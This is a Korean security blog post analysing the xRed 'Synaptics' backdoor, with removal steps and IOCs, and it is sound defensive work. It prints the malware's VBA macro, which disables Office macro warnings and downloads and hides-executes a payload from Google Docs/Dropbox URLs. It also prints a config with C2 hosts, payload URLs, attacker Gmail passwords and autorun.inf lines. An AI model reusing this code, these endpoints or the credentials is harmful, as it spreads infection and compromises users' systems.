목차
1. 개요
1.1) 공격 흐름
1.2) 분석 파일 정보
2. 상세 분석
2.1) FormCreate 루틴
2.2) 관리자 실행 권한 확인
2.3) 중복 프로세스 제거
2.4) Windows 버전 확인
2.5) ini 설정 파일 초기화
2.6) 악성코드 디렉토리 생성 및 은폐
2.7) 지속 메커니즘 등록
2.8) 관리자 권한으로 재실행
2.9) 감염 전 후 저장된 파일 변화
2.10) 실행 파일 감염 루틴
2.11) 감염된 실행 파일 분석
2.12) SSL 통신에 필요한 라이브러리 다운로드 및 로드
2.13) 백도어 기능 - 원격 명령 처리
2.14) USB 확산 기능 - autorun.inf
2.15) 키로깅 기능 - Synaptics.dll
2.16) 공격자 이메일로 자동 전송
2.17) 자동 업데이트
2.18) xlsx 파일 감염 루틴
2.19) 감염된 xlsm 파일 분석
3. 악성코드 특징 및 설계 결함
3.1) 악성코드 최초 유포지 확인
3.2) 실행 파일 감염 대상
3.2) 아이콘이 강제 변경되는 원본 파일
3.3) 런타임 예외 발생
4. 악성코드 제거 방법
4.1) 수동 제거 방법
4.2) 자동 제거 복구 툴 사용
5. 결론
※ 필요한 자료를 GitHub에 업로드하였으며, 아래 링크를 통해 다운로드할 수 있습니다.
- 시냅틱스 바이러스 제거기
https://github.com/zer0f1ag/Synaptics-Killer

1. 개요
일명 Synaptics 백도어 바이러스로 알려진 xRed Backdoor는 2019년경부터 활동이 관측된 악성코드로, 웜(Worm) 형태의 전파 방식을 가지고 있어 현재까지도 지속적으로 확산되고 있는 백도어 계열 멀웨어이다. Synaptics사의 노트북용 터치패드 드라이버 프로그램을 사칭하여 유포되는 것이 특징으로, 신뢰할 수 있는 공급업체의 합법적인 소프트웨어 설치 프로그램으로 위장해 사용자에게 유포된다.
실제로 ‘Synaptics 바이러스’라는 키워드로 검색해보면, 국내에서도 다수의 피해 사례가 보고된 바 있으며, 정식 드라이버 및 유틸리티 설치 과정에서 발생하는 감염이라는 점에서 사용자 신뢰를 악용한 위협 사례로 볼 수 있다.

1.1) 공격 흐름

xRed Backdoor의 최초 유입 경로는 명확히 밝혀지지 않았으나, 감염이 이루어지면 자체 확산 기능을 수행한다. 감염 시 시스템 내 Download, Documents, Desktop 경로를 대상으로, 해당 경로에 존재하는 32비트 실행 파일(EXE)을 감염시켜 추가 전파를 시도한다. 또한 xlsx 확장자의 엑셀 파일이 존재할 경우, 악성 VBA 매크로 코드를 삽입한 뒤 xlsm 형식으로 덮어써 저장하여 문서 기반 확산을 수행한다.
USB 매체를 통한 확산 방식 역시 주목할 만하다. xRed는 USB 저장장치가 연결될 경우, 자동 실행을 담당하는 autorun.inf 파일을 변조하여 악성코드가 자동으로 실행되도록 구성한다. 다만 해당 autorun.inf 기반 실행 기능은 악용 사례가 증가함에 따라 Microsoft에서 Windows 업데이트를 통해 기본적으로 비활성화하였다.
EXE 및 문서 파일 감염 방식의 가장 큰 위험성은, 사용자가 감염 사실을 인지하지 못한 채 해당 파일을 다른 사용자에게 공유하게 되어 추가 감염이 발생한다는 점이다. 또한 백신 프로그램을 통해 현재 실행 중인 악성코드를 제거하는 데 성공하더라도, 감염된 EXE 및 XLSX 파일이 시스템 내에 잔존 해있을 경우 재감염이 발생할 수 있다.
감염 이후 키로깅 및 백도어를 생성하며, 사용자 이름, MAC 주소, 시스템 식별자 등의 정보를 수집해 SMTP 프로토콜을 통해 외부로 전송한다.
1.2) 분석 파일 정보
| File name | Synaptics.exe |
| MD5 | 162BFE3F13A9C6D058CB08DB605B47D4 |
| SHA-256 | 14487DF946BB1BFF496D5D595C4865CEBB03F9704C8769DAC000D18E8C7D92A8 |
| File type | Win32 EXE |
| File size | 753.50 KB (771584 bytes) |
| First Submission | 2018-03-27 09:16:12 UTC |




해당 악성코드는 Windows 환경을 대상으로 제작된 32비트 실행 파일이며, Delphi로 개발된 악성코드임을 확인할 수 있다. 또한 파일의 리소스 데이터를 분석한 결과, 내부에 다수의 PE 및 ZIP 형태의 데이터가 포함되어 있으며, 제품명과 파일 설명을 “Synaptics Pointing Device Driver”로 설정하고, MSI 설치 파일에서 사용되는 아이콘(ICO)을 적용하여 외형상 정상적인 설치 프로그램으로 위장하고 있다.
2. 상세 분석
2.1) FormCreate 루틴

Delphi 기반 악성코드를 분석할 때는 FormCreate 루틴을 우선적으로 확인할 필요가 있다.
Delphi 애플리케이션은 실행 과정에서
start
Forms::TApplication::CreateForm
Forms::TCustomForm::TCustomForm
System::__linkproc__AfterConstruction
Forms::TCustomForm::AfterConstruction
TCustomForm::DoCreate
TFormVir_FormCreate
와 같은 호출 흐름을 거치며, FormCreate 이벤트에서 사용자 정의 영역 코드가 실행된다.
2.2) 관리자 실행 권한 확인

OpenSCManagerA()를 호출하고, 그 반환 값을 기반으로 현재 프로세스가 관리자 권한으로 실행되고 있는지 여부를 확인한다. OpenSCManagerA()는 일반 사용자 권한으로 호출될 경우 NULL을 반환하기 때문에, 악성코드는 이를 권한 판별 로직으로 활용한다.
2.3) 중복 프로세스 제거

CreateMutexA()를 호출하여 “Synaptics2X”라는 이름의 뮤텍스를 생성한다. 만약 동일한 뮤텍스가 이미 존재할 경우, 이는 이미 악성코드가 실행 중임을 의미하므로 프로세스를 종료하여 중복 실행을 방지한다.
2.4) Windows 버전 확인

대상 시스템의 Windows 버전을 확인한 뒤, 운영체제 환경에 맞도록 악성 행위를 수행하도록 설계되어 있다. 확인되는 버전 목록에는 Windows 95, 98, ME, 2000, XP, Vista, 7, 8 등 비교적 구버전 Windows 환경만 포함되어 있다.
2.5) ini 설정 파일 초기화

내부에 하드코딩되어 있던 C2 IP, 포트, 통신 시간(ctime, ctimeout) 및 각종 기능 실행에 필요한 설정 값을 기반으로 INI 설정 파일을 생성하고 이를 로컬에 기록한다. 최신 설정을 반영하기 위해 SUpdate.ini 파일을 C2 서버로부터 수신하거나, 통신에 필요한 파일을 Google Docs, Dropbox 등 외부 파일 호스팅 서비스를 통해 다운로드하거나 정보 수집 후 데이터를 전송하기 위해 사용되는 공격자의 Gmail 주소가 설정 값 내에 포함되어 있는 것이 확인 되었다.
INI 파일 내 [ACTIVE] 섹션을 통해 각 기능의 활성화 여부를 제어하며, 키로깅, USB 감염, 디렉터리 감시, 자동 업데이트, 자동 메일 전송 등의 기능을 플래그 값으로 관리하는 구조를 가진다.
[SERVER]
IP1 = xred.mooo.com
IP2 = http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
IP3 = xred.mooo.com
PORT_0 = 1199
CTIME = 600
CTIMEOUT = 10
[DOWNLOAD]
INIURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
INIURL2 = https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
INIURL3 = http://xred.site50.net/syn/SUpdate.ini
EXEURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
EXEURL2 = https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
EXEURL3 = http://xred.site50.net/syn/Synaptics.rar
SSLURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
SSLURL2 = https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
SSLURL3 = http://xred.site50.net/syn/SSLLibrary.dll
[GMAIL]
USERNAME = xredline2@gmail.com;xredline3@gmail.com
PASSWORD = xredline2**x;xredline3**x
SENDMAIL = xredline1@gmail.com
[ACTIVE]
FIRSTINJ = -1
AUTOUPDATE = -1
AUTOUPDATETIME = 3600
CLIENT = -1
USBHOOK = -1
DIRWATCHER = -1
KEYBOARDHOOK = -1
AUTOMAIL = -1
AUTOMAILTIME = 1800
[CLIENT]
AUTORUNINJ = 0
EXEINJ = -1
EXELINJ = -1
2.6) 악성코드 디렉토리 생성 및 은폐

ProgramData\Synaptics 경로에 디렉터리를 생성한 뒤, SetFileAttributesA()를 호출하여 해당 디렉터리를 은폐 처리한다. 설정된 속성 값 (0x6)은 HIDDEN(0x2)과 SYSTEM(0x4) 속성을 동시에 적용한 것으로, 이로 인해 해당 디렉터리는 단순히 숨김 파일로 처리되는 것보다 더 강하게 은닉된다.
해당 방식의 흥미로운 점은, 사용자가 Windows 탐색기에서 ‘숨김 항목 표시’ 옵션을 활성화하더라도 해당 폴더가 노출되지 않는다는 점이다.

attrib -h -s C:\ProgramData\Synaptics 명령을 실행함으로써 강제로 숨김(HIDDEN) 및 시스템(SYSTEM) 속성을 제거하여 확인할 수 있다. 이는 해당 폴더가 단순 숨김 속성뿐만 아니라 SYSTEM 속성(-s)이 함께 설정되어 있기 때문에, Windows 탐색기에서 숨김 항목 표시 옵션을 활성화하더라도 기본적으로 노출되지 않는 원리이다.
attrib -h -s C:\ProgramData\Synaptics

현재 실행 중인 자신의 파일 경로를 획득한 뒤, 해당 실행 파일을 ProgramData\Synaptics\Synaptics.exe 경로로 복사한다.

복사된 Synaptics.exe를 SetFileAttributesA() 호출을 통해 HIDDEN 및 SYSTEM 속성이 적용된 상태로 은폐한다.
attrib -h -s C:\ProgramData\Synaptics\Synaptics.exe
2.7) 지속 메커니즘 등록

사용자 로그온 시마다 악성코드가 자동 실행되도록 지속성을 유지하기 위해HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 레지스트리 경로에 값을 등록한다.
등록되는 이름은 “Synaptics Pointing Device Driver”이며, 실행 데이터는 C:\ProgramData\Synaptics\Synaptics.exe 로 설정된다.
2.8) 관리자 권한으로 재실행

ShellExecuteExA()를 호출 해 자기 자신을 관리자 권한으로 재실행한다. 이 과정에서 lpVerb 값을 runas로 설정하고 lpParameters에는 InjUpdate 값을 전달하여, 권한 상승 후 실행되는 분기 루틴을 식별하도록 구성되어 있다.

InjUpdate 파라미터가 전달된 상태로 관리자 권한 재실행이 이루어지면, OpenMutexA()를 호출하여 “Synaptics2X” 뮤텍스의 존재 여부를 확인한다. 이후 TEMP 경로에 Synaptics.exe 파일이 존재하는지 검사하는데, 이는 이전 초기화 과정에서 이미 TEMP 디렉터리에 자신을 복사해 두었기 때문에, 현재 실행이 정상적인 재실행 루틴인지 여부를 식별하기 위한 검증 과정이다.
해당 조건들이 충족되면, InjUpdate 파라미터가 전달된 관리자 권한 프로세스만 단독으로 동작시키기 위해CreateToolhelp32Snapshot()를 이용해 사용자 권한으로 기존에 실행 중이던 프로세스를 탐색하고 종료한다.
2.9) 감염 전 후 저장된 파일 변화

xRed는 특정 디렉터리를 대상으로 존재하는 32비트 실행 파일(EXE)을 감염시킨다. 감염 전후의 파일을 비교한 결과, 악성 코드가 삽입되면서 파일 크기가 증가한 것을 확인할 수 있다.

감염 이후 파일 속성을 확인한 결과, 정상적인 DiscordSetup 실행 파일이 변조되어, 파일 설명,파일 버전, 제품 이름, 제품 버전, 파일 크기, 언어 정보 등 주요 메타데이터가 변경되어 있다.
2.10) 실행 파일 감염 루틴

C:\Users\...\Documents , C:\Users\...\Downloads , C:\Users\...\Desktop 등의 디렉터리를 대상으로 감염을 수행하기 위한 경로 목록을 수집한다.

FindFirst()를 호출하여 대상 디렉터리에 .exe 파일의 존재 여부를 확인한 뒤, 파일이 존재할 경우 실행 파일 감염 루틴을 수행한다.


악성코드는 원본 EXE 파일에 자기 자신의 악성 코드를 삽입한 뒤, 완성된 실행 파일을 TEMP 경로에 랜덤한 이름의 EXE 파일로 복사한다. 이후 대상 경로에서 수집한 원본 EXE의 아이콘(ICO)을 추출하여, 랜덤한 이름으로 TEMP 경로에 저장한다.
최종적으로 TEMP 경로에 생성된 감염된 실행 파일을 원본 EXE 경로로 다시 복사하여 기존 파일을 교체함으로써, 감염된 파일로 대체하는 작업을 수행한다.

DeleteFileA()를 호출하여 TEMP 경로에 생성된 EXE 및 ICO 파일을 삭제함으로써, 감염 과정에서 생성된 임시 파일 흔적을 제거한다.


파일 감염에 성공한 경우, 악성코드는 Completed -> <path> 형태의 상태 로그를 기록한다. 반대로 감염에 실패할 경우에는 Infected Canceled -> <path> 로그를 기록한다. 이러한 로그 데이터를 통해, 해당 악성코드가 32비트 바이너리로 제작되어 32비트 실행 파일에 대해서만 감염에 성공하며, 64비트 실행 파일을 대상으로는 감염에 실패한다는 점을 확인할 수 있다.
2.11) 감염된 실행 파일 분석



감염된 파일을 Hex 뷰어로 확인한 결과, 오프셋 0x0부터 0xB3613까지는 악성코드 바이너리 영역으로 확인되었으며, 오프셋 0xB3614 이후에는 원본 실행 파일 바이너리가 저장되어 있는 구조를 확인할 수 있다. 또한 이후 추가적인 악성 행위를 수행하기 위한 DLL 및 XLSM 바이너리 데이터도 함께 포함되어 있는 것으로 확인된다.
즉, 파일의 시작 지점(0x0)이 악성코드 바이너리로 교체되는 방식으로 감염이 이루어지며, 이로 인해 전체 파일 크기 증가와 파일 속성(메타데이터) 변경이 발생하는 것을 확인할 수 있다.

앞선 작업으로 인해 파일의 헤더 영역이 악성코드로 교체되면서, 실행 파일의 Entry Point가 변경된 것을 확인할 수 있다. 감염된 파일은 더 이상 원본 바이너리의 시작점에서 실행되지 않는다.

감염된 실행 파일이 실행되면, 악성코드는 FindResourceA()를 호출하여 EXEREESX 리소스를 탐색한다. 해당 리소스가 존재할 경우, EXEREESX 영역에 저장된 데이터를 추출하여 자기 자신 실행 파일의 원본 파일명을 확인한 뒤, 이를 기반으로 ._cache_ + <원본 파일명> 형태의 파일로 저장한다.
분석 결과, EXEREESX 리소스 영역에는 감염 이전의 원본 EXE 바이너리가 포함되어 있는 것을 확인할 수 있다.


생성된 ._cache_ + <원본 파일명> 실행 파일은 SetFileAttributesA() 함수를 통해 HIDDEN 및 SYSTEM 속성이 적용된 상태로 은폐된다.
이후 ShellExecuteA()를 호출하여 은폐된 ._cache_ + <원본 파일명> 파일을 실행하는 루틴을 확인할 수 있다.
이와 같은 구조를 통해, 악성코드는 자신의 악성 루틴을 먼저 수행한 뒤, ._cache_ 접두어가 붙은 원본 실행 파일을 재실행함으로써 사용자에게 정상적으로 프로그램이 실행된 것처럼 인식하도록 속인다.
2.12) SSL 통신에 필요한 라이브러리 다운로드 및 로드


Google Docs, Dropbox, 그리고 자체 C2 서버 주소를 통해 암호화 통신에 필요한 SSLLibrary.dll(libeay32.dll, ssleay32.dll)을 다운로드한다. 이후 LoadLibraryA()를 호출하여 해당 라이브러리를 동적으로 로드한다.
2.13) 백도어 기능 - 원격 명령 처리

해당 악성코드는 백도어 기능을 내장하고 있으며, 이를 활성화하여 C2 서버로부터 전달되는 원격 명령을 처리한다. 분석 결과, 다음과 같은 주요 원격 제어 명령이 존재하는 것을 확인할 수 있다.
- GetCMDAccess
감염된 시스템에서 명령 프롬프트에 대한 원격 접근 권한을 제공한다. - GetScreenImage
현재 사용자 화면을 스크린샷 이미지 형태로 캡처하여 공격자에게 전송한다. - ListDisk
시스템에 연결된 드라이브 목록(C:, D:, USB 등)을 수집하여 공격자에게 전달한다. - ListDir
지정된 디렉터리 경로 내의 파일 및 폴더 목록을 열람하는 기능이다. - DownloadFile
감염된 시스템으로부터 지정된 파일을 공격자 측으로 전송하는 기능이다. - DeleteFile
지정된 파일을 시스템에서 삭제하는 명령으로, 흔적 제거 또는 불필요한 파일 정리에 활용된다.
2.14) USB 확산 기능 - autorun.inf


USB 드라이브가 삽입될 경우, 악성코드는 해당 매체 내에서 autorun.inf 파일을 탐색하고 아래와 같은 내용을 작성한다.
[autorun]
open=Synaptics.exe
shellexecute= Synaptics.exe
USB 매체가 연결될 때 악성코드가 자동 실행되도록 구성하여 USB 기반 확산을 시도한다. 다만 해당 autorun 기능은 최신 Windows 환경에서는 기본적으로 비활성화되어 있어 정상적으로 동작하지 않는다.
USB 확산 루틴에서 생성되는 WS 디렉터리는 작업 중간 단계 처리를 위한 임시 작업 공간으로 활용된다.
2.15) 키로깅 기능 - Synaptics.dll



키로깅 기능을 활성화하기 위해, 악성코드는 내부에 포함된 리소스 데이터 KBHKS를 읽어 메모리에 로드한다.
해당 리소스 데이터는 DLL 형태의 바이너리이며, 이후 메모리 상에서 Synaptics.dll이라는 이름으로 로드되는 것을 확인할 수 있다.
해당 DLL의 export 함수에는 키보드 후킹을 설치 및 해제하는 데 사용되는 HookOn()과 HookOff() 함수가 포함되어 있는걸 확인 할 수 있다.

HookOn() 함수는 내부적으로 SetWindowsHookExA()를 호출하며, 후킹 타입으로 WH_KEYBOARD_LL(5) 를 사용하여 시스템 전반의 키보드 입력 이벤트를 가로챈다.
OpenFileMappingA()를 호출하여 “ElReceptor”라는 이름의 공유 메모리를 열고, MapViewOfFile()을 통해 메모리에 매핑한다. 이후 PostMessageA()를 통해 키보드 입력 정보를 전송한다.
2.16) 공격자 이메일로 자동 전송


TEMP 경로에 랜덤한 이름의 INI 파일을 생성한 뒤, C2 서버로부터 최신 설정 INI 파일을 수신하여 해당 파일에 기록한다. 이후 수집된 정보를 SMTP(Gmail) 프로토콜을 통해 공격자의 Gmail 계정으로 전송한다.
전송되는 정보에는 컴퓨터 이름(ComputerName), NetBIOS 정보, 사용자 이름(Username) 등이 포함되며, 추가적으로 사용자 화면 스크린샷도 함께 전송된다. 이때 캡처된 이미지는 TEMP 경로에 랜덤한 이름의 JPG 파일로 저장된 후 전송된다.
SMTP 전송 대상 메일 주소는 다음과 같다.
- xredline1@gmail.com
- xredline2@gmail.com
- xredline3@gmail.com
또한 설정 파일 내에는 SMTP 인증을 위한 계정 비밀번호 정보도 함께 포함되어 있으며, 다음과 같이 저장되어 있는 것을 확인할 수 있다.
- xredline2**x
- xredline3**x
2.17) 자동 업데이트



- 도메인: xred[.]mooo.com
- DynDNS API: freedns[.]afraid.org
- 포트: 1199
- 접속 주기(CTIME): 600초
- 타임아웃(CTIMOUT): 10초
해당 악성코드는 리소스 영역에 포함된 파일 버전 정보를 확인한 후, 일정 주기마다 C2 서버에 접속한다.
원격 서버의 파일 버전이 더 최신일 경우, 최신 실행 파일을 다운로드하여 지정된 경로에 기존 파일을 교체한 뒤 재실행하는 자기 업데이트 기능을 수행하는 것을 확인할 수 있다.
2.18) xlsx 파일 감염 루틴

지정된 사용자 디렉터리인 C:\Users\...\Documents, C:\Users\...\Downloads, C:\Users\...\Desktop
경로를 대상으로 탐색을 수행하며, XLSX 형식의 Excel 문서가 존재할 경우 악성 매크로가 삽입된 XLSM 파일을 생성하여 문서를 변조한다.

PE 파일의 RCDATA 리소스 영역에 포함된 XLSM 파일을 로드한 뒤, 내부에 저장된 vbaProject.bin을 삽입하는 과정을 수행한다. 이후 감염 확산을 위한 악성 매크로 코드를 포함하도록 Excel 문서를 변조하며, 최종적으로 감염된 매크로 문서를 XLSM 형식으로 생성한다. 생성된 악성 XLSM 파일은 TEMP 경로에 랜덤한 파일명으로 드롭된다.

TEMP 경로에 랜덤한 파일명으로 드롭된 악성 XLSM 파일은, 이후 원본 XLSX 파일이 존재하던 경로로 복사되어 정상 파일로 위장한다. C:\Users\...\Documents 경로에 존재하던 Sample1.xlsx 파일은 감염 이후 Sample1.xlsm으로 확장자가 변경되며, 악성 파일로 변조됨에 따라 파일 크기 또한 변경된 것을 확인할 수 있다.
감염이 성공적으로 완료될 경우, 악성코드는 생성된 XLSM 파일을 실행하고 추가적인 감염 행위를 수행한다.
2.19) 감염된 xlsm 파일 분석

생성된 XLSM 파일을 분석한 결과, VBA 매크로 코드가 삽입된 악성 문서임을 확인할 수 있다.
Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
Application.DisplayAlerts = False
SheetCount = Worksheets.Count
Call MPS
ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub
모든 시트를 강제로 표시 상태로 변경하고, Excel 및 Word의 매크로 보안 경고 레지스트리 값을 수정하여 사용자 경고 없이 매크로가 실행되도록 한다. 또한 엑셀 경고 메시지를 비활성화해 사용자 의심을 줄인다.
Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String
Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "\~$cache1") Then
FileCopy FN, DIR & "\~$cache1"
End If
SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
End If
End Sub
시스템에 존재하는 악성 실행 파일(Synaptics.exe)을 지정된 디렉터리로 복사하여 확산을 시도한다. 대상 파일이 존재할 경우 ~$cache1이라는 이름으로 복사하며, 이후 Hidden 및 System 속성을 설정해 파일을 은폐한다.
Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "\~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
TMP = Environ("Temp") & "\~$cache1.exe"
Google Docs 및 Dropbox URL을 C2 대체 다운로드 경로로 설정하고, TEMP 디렉터리에 ~$cache1.exe 형태로 임시 실행 파일 경로를 구성한다.
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If
ALLUSERSPROFILE\Synaptics\Synaptics.exe 또는 System32\Synaptics\Synaptics.exe 경로에 악성 파일이 존재할 경우, 이를 사용자에게 보이지 않도록(vbHide)로 실행한다. 만약 해당 경로들에 파일이 존재하지 않으면, TEMP 경로에 지정된 임시 파일이 있는지 확인하고, 없을 경우 Google Docs 및 Dropbox URL을 통해 악성 실행 파일을 다운로드한다. 다운로드에 성공하면 TEMP 경로의 파일을 즉시 실행한다.
3. 악성코드 특징 및 설계 결함
3.1) 악성코드 최초 유포지 확인

내부 문자열에서 ControlCenter -> Aktif, ControlCenter -> Pasif 값이 확인되는데, 이는 터키어에서 각각 Active, Passive를 의미한다. 또한 파일 속성 정보에서 언어 설정이 터키어로 지정되어 있는 점을 종합해 볼 때, 해당 악성코드는 터키(튀르키예)에서 최초 유포되었을 가능성이 높은 것으로 확인된다.
3.2) 실행 파일 감염 대상

EXE 감염 과정에서 32비트 실행 파일에 대해서만 감염이 성공하며, 64비트 실행 파일에 대해서는 감염이 실패하는 것을 확인할 수 있었다. 이는 해당 악성코드가 32비트 바이너리 기반으로 개발되어, 64비트 실행 파일 구조를 정상적으로 처리하지 못하기 때문으로 판단된다.
3.2) 아이콘이 강제 변경되는 원본 파일

EXE 파일 감염 과정에서, 악성코드는 원본 EXE의 ICO 아이콘을 추출하여 감염된 파일에 적용한다. 그러나 원본 EXE에 ICO가 없는 경우에는 악성코드의 아이콘이 적용되는 것을 확인할 수 있다.
이로 인해 일부 아이콘이 없는 실행 파일은 갑자기 설치용 아이콘으로 변경되어 사용자에게 이상 징후를 보여주게 된다. 본래 악성코드는 사용자가 인지하지 못하도록 은닉 상태에서 동작하는 것이 목적이나, 개발자가 ICO 부재 시 대체 아이콘 처리 루틴을 구현하지 않아 이러한 문제가 발생한 것으로 판단된다.
3.3) 런타임 예외 발생

무리하게 파일 감염을 수행하여 동작되는 악성코드 특성상 런타임에서 예기치 않은 예외가 발생할 수 있으며, 분석 과정에서 예외 코드 0x0EEDFADE가 발생한 사례를 확인할 수 있었다.
이로 인해 실행 중이던 악성코드 프로세스가 비정상 종료되어 C2 서버와의 지속적인 통신을 유지하지 못하게 되며, 동시에 사용자가 오류 메시지를 직접 확인함으로써 악성코드가 사용자에게 노출될 가능성이 존재한다.
4. 악성코드 제거 방법
4.1) 수동 제거 방법
시냅틱스(xRed) 바이러스 감염 시 수동으로 제거하는 방법을 설명한다. 해당 내용은 악성코드 분석을 통해 확인된 실제 동작 흐름과 특성을 바탕으로 구성하였다.

폴더 및 검색 옵션에서 보호된 운영 체제 파일 숨기기 옵션을 해제하면, 시냅틱스 바이러스가 설치된 경로인
C:\ProgramData\Synaptics 디렉터리가 노출된다. 해당 경로에 존재하는 파일들을 확인한 후 관련 악성 파일을 모두 제거할 수 있다.

Everything 프로그램을 활용하면 최초 악성코드 실행 시점을 기준으로 접근·생성된 EXE 목록을 확인할 수 있다. 이때 확인된 감염된 EXE 및 XLSM 파일을 모두 삭제해야 하며, 이를 제거하지 않을 경우 재실행을 통해 추가 감염으로 이어질 수 있다.

레지스트리 편집기(regedit)를 실행한 후 찾기 기능을 사용하여 Synaptics Pointing Device Driver 문자열을 검색한다. 검색 결과로 노출되는 관련 레지스트리 항목을 모두 삭제하여 자동 실행 및 잔여 흔적을 제거한다.
4.2) 자동 제거 복구 툴 사용

수동으로 치료할 경우, 감염된 EXE나 XLSM 파일을 모두 삭제해야 하기 때문에 중요한 자료가 포함된 경우에는 효율적이지 않다. 또한 삭제 과정에서 일부 파일이 누락되면 재감염으로 이어질 가능성도 존재한다. 이러한 문제를 해결하기 위해서악성 파일은 제거하되, 감염된 파일은 원본 상태로 복구할 수 있는 방법이 필요하다.
이에 필자는 시냅틱스 바이러스의 원본 바이너리 추출 메커니즘을 분석하여, 파일을 복구할 수 있는 전용 도구를 개발하여 Github에 업로드하였다. 따라서 이와 같은 자동화 도구를 활용하는 것이 수동 제거 방법 보다 안전하고 효율적인 방법이 될 수 있다.
※ 시냅틱스 바이러스 치료기
https://github.com/zer0f1ag/Synaptics-Killer
5. 결론
시냅틱스(xRed) 바이러스는 합법적인 Synaptics 드라이버 설치 파일로 위장하여 전파되며, 32비트 EXE 및 XLSX 파일 감염, USB 확산, 백도어 및 키로깅 기능을 통해 지속적인 시스템 제어와 정보 유출을 수행하는 악성코드이다. 자기 복제 및 재실행, 매크로 기반 문서 감염, SMTP를 통한 정보 유출 등 다양한 공격 기법을 포함하고 있으며, 일부 기능은 개발상 미비가 있는 점을 확인하였다.
수동 치료 방법은 중요 파일 손실 위험과 재감염 가능성 때문에 위험성이 존재하며, 이를 보완하기 위해 원본 파일 복구와 악성 파일 제거를 동시에 수행할 수 있는 전용 복구 도구를 개발하여 배포 하였다.
IOC
| Filename | SHA256 |
| Synaptics.exe | 14487DF946BB1BFF496D5D595C4865CEBB03F9704C8769DAC000D18E8C7D92A8 |
| Synaptics.dll | B9EAE90F8E942CC4586D31DC484F29079651AD64C49F90D99F86932630C66AF2 |
| vbaProject.bin | 6AE9689658E2784B8E82BFF9E5A48EA6DB073EE57CB621669E83F82D89D4AD34 |
| xlsm | 8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15 |
| C2 | |
| xred.mooo.com | http://freedns[.]afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 |
'Reversing > Malware Analysis' 카테고리의 다른 글
| [xWorm] 난독화 자바스크립트로 유포되는 악성코드 (0) | 2026.01.08 |
|---|---|
| [LockBit 3.0] RaaS 랜섬웨어 분석 (LockBit Black) (0) | 2025.12.21 |
| [Shuyal Stealer] Telegram API를 악용하는 악성코드 (0) | 2025.12.05 |
| [Agent Tesla] 악성메일로 유포되는 .NET 기반 악성코드 분석 (0) | 2025.11.22 |
| [Kimsuky] 정상 인증서를 악용하는 Go언어 기반 악성코드 분석 (0) | 2025.11.13 |